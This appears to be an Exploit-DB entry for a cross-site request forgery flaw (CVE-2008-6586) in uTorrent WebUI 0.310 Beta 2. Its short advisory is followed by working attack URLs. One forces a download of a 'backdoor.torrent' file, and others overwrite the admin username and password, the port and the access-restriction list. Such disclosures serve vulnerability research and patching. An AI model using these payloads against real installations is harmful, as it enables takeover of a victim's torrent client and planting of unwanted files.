μTorrent (uTorrent) WebUI 0.310 Beta 2 - Cross-Site Request Forgery

Author: th3.r00k
type: webapps
platform: php
port: 
date_added: 2008-04-18 
date_updated: 2018-03-09 
verified: 1 
codes: CVE-2008-6586;OSVDB-44647 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/28847/info

uTorrent WebUI is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions in the context of the affected application.

uTorrent WebUI 0.310 beta 2 is vulnerable; other versions may also be affected.

To force a file download:
http://www.example.com:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent

To change administrative credentials and settings:
http://www.example.com:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://www.example.com:8080/gui/?action=setsetting&s=webui.port&v=4096 http://www.example.com:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1